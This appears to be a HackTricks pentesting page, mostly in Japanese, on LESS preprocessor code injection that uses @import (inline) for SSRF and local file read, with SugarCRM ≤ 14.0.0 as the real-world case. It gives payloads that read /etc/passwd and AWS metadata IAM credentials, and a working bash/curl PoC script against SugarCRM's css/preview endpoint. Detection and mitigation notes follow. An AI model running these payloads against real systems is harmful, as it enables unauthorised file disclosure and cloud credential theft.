LESS Code Injection leading to SSRF & Local File Read

Reading time: 6 minutes

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

概要

LESSは、変数、ミキシン、関数、強力な@importディレクティブを追加する人気のCSSプリプロセッサです。コンパイル中、LESSエンジンは@importステートメントで参照されたリソースを取得し(inline)オプションが使用されると、その内容を結果のCSSに埋め込みます。

アプリケーションがユーザー制御の入力をLESSコンパイラによって後で解析される文字列に連結する場合、攻撃者は任意のLESSコードを注入できます。@import (inline)を悪用することで、攻撃者はサーバーに次のものを取得させることができます:

  • file://プロトコルを介したローカルファイル(情報漏洩 / ローカルファイルインクルージョン)。
  • 内部ネットワークまたはクラウドメタデータサービス上のリモートリソース(SSRF)。

この技術は、SugarCRM ≤ 14.0.0/rest/v10/css/previewエンドポイント)などの実際の製品で見られました。

悪用

  1. LESSエンジンによって処理されるスタイルシート文字列に直接埋め込まれているパラメータを特定します(例:SugarCRMの?lm=)。
  2. 現在のステートメントを閉じ、新しいディレクティブを注入します。最も一般的なプリミティブは:
  • ; – 前の宣言を終了します。
  • } – 前のブロックを閉じます(必要に応じて)。
  1. @import (inline) '<URL>';を使用して任意のリソースを読み取ります。
  2. オプションで、インポートの後にマーカーdata: URI)を注入して、コンパイルされたCSSから取得したコンテンツの抽出を容易にします。

ローカルファイル読み取り

1; @import (inline) 'file:///etc/passwd';
@import (inline) 'data:text/plain,@@END@@'; //

/etc/passwd の内容は、@@END@@ マーカーの直前にHTTPレスポンスに表示されます。

SSRF – クラウドメタデータ

1; @import (inline) "http://169.254.169.254/latest/meta-data/iam/security-credentials/";
@import (inline) 'data:text/plain,@@END@@'; //

自動化されたPoC(SugarCRMの例)

bash
#!/usr/bin/env bash
# Usage: ./exploit.sh http://target/sugarcrm/ /etc/passwd

TARGET="$1"        # Base URL of SugarCRM instance
RESOURCE="$2"      # file:// path or URL to fetch

INJ=$(python -c "import urllib.parse,sys;print(urllib.parse.quote_plus(\"1; @import (inline) '$RESOURCE'; @import (inline) 'data:text/plain,@@END@@';//\"))")

curl -sk "${TARGET}rest/v10/css/preview?baseUrl=1&lm=${INJ}" | \
sed -n 's/.*@@END@@\(.*\)/\1/p'

Detection

  • 動的に生成された .less または .css レスポンスに、サニタイズされていないクエリパラメータが含まれているかを確認します。
  • コードレビュー中に、LESSレンダリング関数に渡される "@media all { .preview { ... ${userInput} ... } }" のような構文を探します。
  • 攻撃の試みには、しばしば @import(inline)file://http://169.254.169.254 などが含まれます。

Mitigations

  • 信頼できないデータをLESSコンパイラに渡さないでください。
  • 動的な値が必要な場合は、適切に エスケープ/サニタイズしてください(例:数値トークンに制限、ホワイトリスト)。
  • 可能な場合は、(inline) インポートの使用を無効にするか、許可されるプロトコルを https に制限してください。
  • 依存関係を最新の状態に保ちます – SugarCRMはバージョン13.0.4および14.0.1でこの問題を修正しました。

Real-World Cases

ProductVulnerable EndpointImpact
SugarCRM ≤ 14.0.0/rest/v10/css/preview?lm=認証されていないSSRFおよびローカルファイル読み取り

References

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする